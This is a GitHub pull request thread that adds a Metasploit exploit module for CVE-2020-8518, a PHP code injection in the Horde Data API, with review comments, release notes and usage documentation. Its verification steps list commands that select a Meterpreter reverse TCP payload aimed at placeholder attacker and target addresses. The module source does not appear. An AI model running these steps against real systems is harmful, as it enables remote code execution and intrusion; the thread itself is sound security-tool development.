Add 'Horde CSV import arbitrary PHP code execution' (CVE-2020-8518)#13082
Conversation
space-r7
left a comment
There was a problem hiding this comment.
Hi @cyrus-and, thank you for submitting your module! I have a few comments that are mostly based on style.
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
Co-Authored-By: Shelby Pace <40177151+space-r7@users.noreply.github.com>
Thanks for the review! Feel free to eventually squash all the commits, I took advantage of the GitHub interface to accept your proposed changes. |
|
Had a few issues getting the software installed, but finally got to test: I also changed a few things: randomized the uploaded file, added a vprint_status statement, and removed the threading part. I haven't had any issues testing, but we can add that back if it is necessary for something I'm not seeing. |
Release NotesAn exploit module is available for the Horde Data API that gets bundled with software such as Horde Groupware Webmail Edition Suite. The Horde Data API before and including |
Thank you! Installing Horde from scratch is not the most pleasant thing to do... |
This adds a module for the vulnerability in the subject. Follows an excerpt from the documentation.
Vulnerable Application
The Horde project comprises several standalone applications and libraries, the Horde Groupware Webmail Edition suite (tested version 5.2.22) bundles several of them by default, among those, Data (Horde Data API) is a library used to manage data import/export in several formats, e.g., CSV, iCalendar, vCard, etc. This library up to version 2.1.4 (included) is vulnerable to PHP code injection.
Find more information in the original advisory.
Verification Steps
use exploit/multi/http/horde_csv_rceset payload php/meterpreter/reverse_tcpset lhost [ATTACKER IP]set rhost [TARGET IP]set username [username]set password [password]exploitDowngrade the Horde Data API package if needed:
This is my first MSF module submission, I apologize if something's wrong or missing.